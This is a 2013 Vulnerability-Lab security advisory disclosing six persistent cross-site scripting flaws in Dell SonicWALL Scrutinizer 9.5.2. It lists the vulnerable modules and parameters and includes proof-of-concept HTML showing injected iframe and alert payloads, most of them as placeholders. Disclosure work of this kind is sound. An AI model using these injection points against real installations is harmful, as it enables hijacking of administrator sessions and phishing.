312 lines
No EOL
16 KiB
Text
312 lines
No EOL
16 KiB
Text
Title:
|
|
======
|
|
Sonicwall OEM Scrutinizer v9.5.2 - Multiple Web Vulnerabilities
|
|
|
|
|
|
Date:
|
|
=====
|
|
2013-02-14
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=786
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
786
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
5.2
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
Dell™ SonicWALL™ Scrutinizer is a multi-vendor, flow-based application traffic analytics, visualization and reporting tool
|
|
to measure and troubleshoot network performance and utilization while increasing productivity for enterprises and service providers.
|
|
Scrutinizer supports a wide range of routers, switches, firewalls, and data-flow reporting protocols, providing unparalleled insight
|
|
into application traffic analysis from IPFIX/NetFlow data exported by Dell SonicWALL firewalls, as well as support for a wide range
|
|
of routers, switches, firewalls, and data-flow reporting protocols. IT administrators in charge of high throughput networks can
|
|
deploy Scrutinizer as a virtual appliance for high performance environments.
|
|
|
|
(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/Scrutinizer.html )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Dell Sonicwall OEM Scrutinizer v9.5.2 appliance application.
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2012-12-05: Researcher Notification & Coordination
|
|
2012-12-07: Vendor Notification
|
|
2013-01-08: Vendor Response/Feedback
|
|
2013-02-10: Vendor Fix/Patch
|
|
2013-02-11: Public or Non-Public Disclosure
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Affected Products:
|
|
==================
|
|
DELL
|
|
Product: Sonicwall OEM Scrutinizer 9.5.2
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
High
|
|
|
|
|
|
Details:
|
|
========
|
|
Multiple persistent input validation vulnerabilities are detected in the Sonicwall OEM Scrutinizer v9.5.2 appliance application.
|
|
The bugs allows remote attackers to implement/inject malicious script code on the application side (persistent).
|
|
|
|
The first persistent vulnerability is located in the Alarm - New Board & Policy Manager module with the bound vulnerable
|
|
Search item - BBSearchText parameter request. The vulnerability allows to inject persistent script code as search item value.
|
|
The result is the persistent execution of script code out of the BBSearchText listing.
|
|
|
|
The secound persistent vulnerability is located in the Dashboard - Flow Expert module with the bound vulnerable Mytab parameter.
|
|
The vulnerability allows to inject persistent script code as myTab link value. The result is the persistent execution of script
|
|
code out of the Mytab link listing.
|
|
|
|
The 3rd persistent vulnerability is located in the MyView (CGI) module with the bound vulnerable `newName` parameter request.
|
|
The vulnerability allows to inject persistent script code as newName. The result is the persistent execution of script code
|
|
out of the core value listing.
|
|
|
|
The 4th persistent vulnerability is located in the Admin > Admin [New Users & New Group] module with the bound vulnerable
|
|
groupName & username parameters. The vulnerability allows to inject persistent script code as username or groupname. The result
|
|
is the persistent execution of script code out of all username and group listings + checkboxes.
|
|
|
|
The 5th persistent vulnerability is located in the Admin > Admin [Mapping / Maps (CGI) - Dashboard Status] module with the bound
|
|
vulnerable groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name & settings groups(checkbox) parameters.
|
|
The vulnerability allows to inject persistent script code as groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name
|
|
& settings groups(checkbox) value(s). The result is the persistent execution of script code out of the groupMembers, Type, Checkbox
|
|
Linklike, indexColumn, name, Object Name listings and settings groups checkbox.
|
|
|
|
The 6th persistent vulnerability is located in the Alarms > Overview Bulletin Board > Advanced Filters module with the bound vulnerable
|
|
displayBBAdvFilterModal() - (Policy Name, Board Name, Violators) parameters. The vulnerability allows to inject persistent script code
|
|
as Policy Name, Board Name and Violator. The result is the persistent execution of script code out of the Policy Name, Board Name and
|
|
Violator listings.
|
|
|
|
Successful exploitation of the vulnerability can lead to persistent session hijacking (manager/admin), persistent phishing, persistent
|
|
external redirects to malware or scam and persistent web context manipulation in the affected vulnerable module(s). Exploitation requires
|
|
low user interaction & a low privileged appliance web application user account.
|
|
|
|
Vulnerable Section(s):
|
|
[+] Alarm
|
|
[+] Dashboard
|
|
[+] MyView (CGI)
|
|
[+] Admin > Admin
|
|
[+] Admin > Admin
|
|
[+] Alarms
|
|
|
|
Vulnerable Module(s):
|
|
[+] New Board & Policy Manager
|
|
[+] Flow Expert
|
|
[+] Value
|
|
[+] New Users & New Group
|
|
[+] Mapping / Maps (CGI) - Dashboard Status
|
|
[+] Overview Bulletin Board > Advanced Filters
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] Search item - BBSearchText
|
|
[+] Mytab
|
|
[+] newName
|
|
[+] groupName & username - Place in Usergroup - Listing
|
|
[+] groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name & settings groups(checkbox)
|
|
[+] displayBBAdvFilterModal() - (Policy Name, Board Name, Violators)
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged application user account
|
|
and low required user interaction. For demonstration or reproduce ...
|
|
|
|
|
|
Review: Alarm > New Board & Policy Manager - [BBSearchText] Search item
|
|
|
|
<td class="textRight agNoWrap">
|
|
<input id="BBSearchText" title="Search item" value="<<[PERSISTENT INJECTED SCRIPT CODE!];)" <="""=""></iframe>
|
|
<input class="button" id="BBSearchButton" value="Search" title="Search" onclick="bbSearch(this)" type="button">
|
|
|
|
<input class="button" onclick="displayBBAdvFilterModal()" title="Search using multiple criteria" value="Advanced Filters" type="button">
|
|
|
|
|
|
|
|
|
|
Review: Dashboard > Flow Expert > Mytab - [Mytab Name]
|
|
|
|
<div><span class="myv_tab"><span tid="1" style="margin-left: 10px; margin-right: 10px;">Flow Expert</span></span>
|
|
<span class="myv_tab"><span tid="2" style="margin-left: 10px; margin-right: 10px;">Configure Flow Analytics</span></span>
|
|
<span class="myv_tab"><span tid="3" style="margin-left: 10px; margin-right: 10px;">CrossCheck</span></span><span class="myv_tab">
|
|
<span tid="4" style="margin-left: 10px; margin-right: 10px;">Example</span></span><span class="myv_tab"><span tid="5" style="margin-left:
|
|
10px; margin-right: 10px;">Cisco PfR</span></span><span class="myv_tab"><span tid="6" style="margin-left: 10px; margin-right:
|
|
10px;">Training</span></span><span class="myv_selectedtab"><span title="Click to rename" class="jedit" id="tab_7"
|
|
origname="My New Tab"><[PERSISTENT INJECTED SCRIPT CODE!]">%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]") <</iframe></span>
|
|
<img style="margin-left: 6px; cursor: pointer;" src="Scrutinizer%20%29%20Dashboard-Dateien/tab-edit.gif"></span><span class="add_tab">
|
|
<span style="margin-left: 6px; cursor: pointer;">Add a tab</span></span></div>
|
|
|
|
|
|
|
|
Review: MyView (CGI) > Value - [newName]
|
|
|
|
<html><head>
|
|
<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head>
|
|
<body>{"newName":"<[PERSISTENT INJECTED SCRIPT CODE!]"> \"><[PERSISTENT INJECTED SCRIPT CODE!]") <"}</iframe></body>
|
|
</html>
|
|
|
|
|
|
Review: Admin > Admin > New Users & New Group - [groupname, up_availGroups & username - Place in Usergroup - Listing]
|
|
|
|
<div class="unfortunate" style="" id="settingsContent">
|
|
|
|
<div id="settingsHeader"></div>
|
|
|
|
<div id="settingsOutput">
|
|
|
|
|
|
|
|
<title>User Preferences</title>
|
|
<div id="mainFrame">
|
|
|
|
|
|
<div style="height: 552px;" id="upMenu"><div class="basic ui-accordion selected" style="float:left;" id="upTreeMenu">
|
|
<a class="selected"> New User</a><div style="height: 511px; display: block; overflow: hidden;" class="genericAccordionContainer">
|
|
<p style="padding-left: 10px;" id="new_user_panel"><label>Username: <input class="newform" id="new_username"
|
|
type="text"></label><label>Password <input class="newform" id="new_password" type="password"><img id="pw_strength" src="/images/common/strength_0.gif"></label><label>Confirm Password: <input class="newform" id="cnf_password" type="password">
|
|
</label><label style="margin-top: 5px; margin-bottom: 8px;" id="up_availGroupsLbl">Place in User Group <select style="display: block;"
|
|
id="up_availGroups"><option value="3"><iframe src="a"> "><[PERSISTENT INJECTED SCRIPT CODE!]") <</iframe></option>
|
|
<option value="1">Administrators</option><option value="2">Guests</option></select></label><input value="Create User" class="button"
|
|
style="margin-top: 3px;" type="button"></p></div><a class=""> Users</a><div style="height: 511px; display: none; overflow: hidden;"
|
|
class="genericAccordionContainer"><p id="users_p"><span class="menuLink">admin</span></p></div></div></div>
|
|
|
|
|
|
Review: Admin > Admin > Mapping/Maps (CGI) - Dashboard Status - [groupMembers, Type, Checkbox Linklike, indexColumn,name,ObjectName & settings groups]
|
|
|
|
<div class="fmapsScroll" id="groupScroll"><table class="dataTable filterable" id="grpTable"><tbody id="grpTbody"><tr id="grpTblHdr">
|
|
<th width="20"><input id="checkAllObj" name="checkAllObj" title="Permanently delete groups" type="checkbox"></th><th style="width: 100%;"
|
|
class="alignLeft">Group Name</th><th width="40">Type</th><th width="40">Membership</th><th width="40">Map Status</th></tr><tr id="grp_tr1">
|
|
<td><input title="Permanently delete this object from ALL groups" name="1" type="checkbox"></td><td class="alignLeft"><a title="Click here to edit
|
|
this group" href="#NA" class="linkLike"><iframe src="a">%20%20%20%20[PERSISTENT INJECTED SCRIPT CODE!]"><ifra...</iframe></a>
|
|
</td><td>Google</td><td><a title="Click to change object
|
|
membership for this group" class="linkLike">Membership</a></td><td><select id="pass_1" class="passSel"><option value="0">No Pass</option>
|
|
<option value="1">Pass Up</option></select></td>
|
|
<td style="display: none;" class="indexColumn">%20%20%20%20[PERSISTENT INJECTED SCRIPT CODE!]"><ifra...googlemembershipno
|
|
passpass up</td></tr></tbody></table></div><input style="margin-top: 10px; margin-left: 8px;" id="delObjectBtn" value="Delete" class="button"
|
|
type="button"><div id="editGrpDiv"><div id="obj_typeForm"><div id="iconPreview"><img src="/images/maps/group16.png" id="previewImage"></div>
|
|
<div id="toGroupMsg"></div><select style="margin-left: 30px; margin-bottom: 5px; width: 159px;" id="obj_iconSelect" name="icon"><option
|
|
value="gicon16.png">gicon16.png</option><option value="gicon24.png">gicon24.png</option><option value="gicon32.png">gicon32.png</option>
|
|
<option value="gicon48.png">gicon48.png</option><option value="gicon72.png">gicon72.png</option><option value="group16.png">group16.png</option>
|
|
<option value="group24.png">group24.png</option><option value="group32.png">group32.png</option><option value="group48.png">group48.png</option>
|
|
<option value="group72.png">group72.png</option></select></div><table id="editGroupTable" class="dataTable"><tbody><tr id="grpTypeRow">
|
|
<td class="alignLeft cellHeader">Type</td><td class="alignLeft"><select id="edit_grpType"><option value="flash">Flash</option>
|
|
|
|
...
|
|
|
|
<table class="dataTable" id="fmaps_mapTabList" width="100%"><thead><tr><th style="white-space: nowrap;" nowrap="">Map</th>
|
|
<th style="white-space: nowrap;" nowrap="">Type</th><th style="white-space: nowrap;" nowrap="">Background</th></tr></thead><tbody>
|
|
<tr><td class="" style="white-space: nowrap; padding-right: 5px;" align="left" nowrap=""><a href="#NA"><iframe src="a">%20%20%20%20">
|
|
<iframe src=a onload=alert("VL") <</iframe></a></td><td class="" style="white-space: nowrap;" align="left" nowrap="" width="100%">Google</td>
|
|
<td class="" align="center">-</td></tr></tbody></table>
|
|
|
|
...
|
|
|
|
<tbody id="objTbody"><tr id="objTblHdr"><th width="20"><input id="checkAllObj" name="checkAllObj" type="checkbox"></th><th width="20">
|
|
</th><th style="width: 100%;" tf_colkey="objName" class="alignLeft">Object Name</th><th style="text-align: center;" align="center" nowrap="">
|
|
Type</th><th width="20">Membership</th></tr><tr id="obj_tr1"><td class="fmaps_bakTrHi highlightRow"> </td><td class="fmaps_bakTrHi
|
|
highlightRow"><img class="listIcon" src="/images/maps/gicon24.png"></td><td class="alignLeft fmaps_bakTrHi highlightRow"><a title="Click to edit
|
|
this object" href="#NA"><iframe src="a">%20%20%20%20"><iframe src=...</iframe></a></td><td class="fmaps_bakTrHi highlightRow" nowrap="">
|
|
<span style="cursor:default;">Group</span></td><td class="fmaps_bakTrHi highlightRow"><a title="Click to change group membership for this object"
|
|
class="linkLike">Membership</a></td><td style="display: none;" class="indexColumn fmaps_bakTrHi
|
|
highlightRow"> %20%20%20%20"><iframe src=...groupmembership</td></tr></tbody>
|
|
|
|
...
|
|
|
|
<td style="padding-right: 1px; padding-bottom: 1px; padding-left: 1px;" id="fmaps_confBody" valign="top"><div style="height: 19px;"
|
|
id="fmaps_containerTitle" class="titleBar"><span style="float:left" ;="">Settings</span><img title="Map Settings Help"
|
|
src="/images/common/help.png"><select id="fmaps_groupSelect">
|
|
<option class="google" value="1"><iframe src="a">%20%20%20%20"><iframe src=a onload=alert("VL") < (google)
|
|
</iframe></option></select></div><div id="fmaps_confBodyContainer"><div id="defaultsContainer">
|
|
|
|
|
|
...
|
|
|
|
<li class="expandable noWrapOver " groupid="g1"> <div class="hitarea expandable-hitarea "> </div> <img src="/images/common/gicon.png"
|
|
gid="1" title="<iframe src=a>%20%20%20%20"><iframe src="a" onload="alert("VL")" <="" (group="" id:="" 1)"=""></iframe>
|
|
<span id="sdfTreeLoadG" class="" title="<iframe src=a>%20%20%20%20"><iframe src=a onload=alert("VL") < (Group ID: 1)"
|
|
gid="1"><iframe src="a">%20%20%20...</span>
|
|
|
|
<ul style="display: none;">
|
|
|
|
<li>Loading...</li>
|
|
</ul>
|
|
</li>
|
|
<li class='expandable noWrapOver lastExpandable'>
|
|
<div class='hitarea expandable-hitarea lastExpandable-hitarea'> </div> <img src='/images/common/TreeUngroupGray.png'/><span class="">Ungrouped</span>
|
|
<ul style="display: none;">
|
|
<li class="last"><span class=" ">No Devices</span></li>
|
|
</ul>
|
|
</li>
|
|
</ul>
|
|
</iframe></span></li>
|
|
|
|
|
|
Solution:
|
|
=========
|
|
2013-02-10: Vendor Fix/Patch
|
|
|
|
Where changing code paths to use bound variables was not practical in such a short timeframe, we pass inputs included in a query through a function that escapes potentially dangerous characters.
|
|
|
|
|
|
Risk:
|
|
=====
|
|
The security risk of the persistent input validation web vulnerabilities are estimated as medium(+)|(-)high.
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
|
or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
|
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
|
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
|
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
|
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright © 2012 | Vulnerability Laboratory
|
|
|
|
--
|
|
VULNERABILITY RESEARCH LABORATORY
|
|
LABORATORY RESEARCH TEAM
|
|
CONTACT: research@vulnerability-lab.com |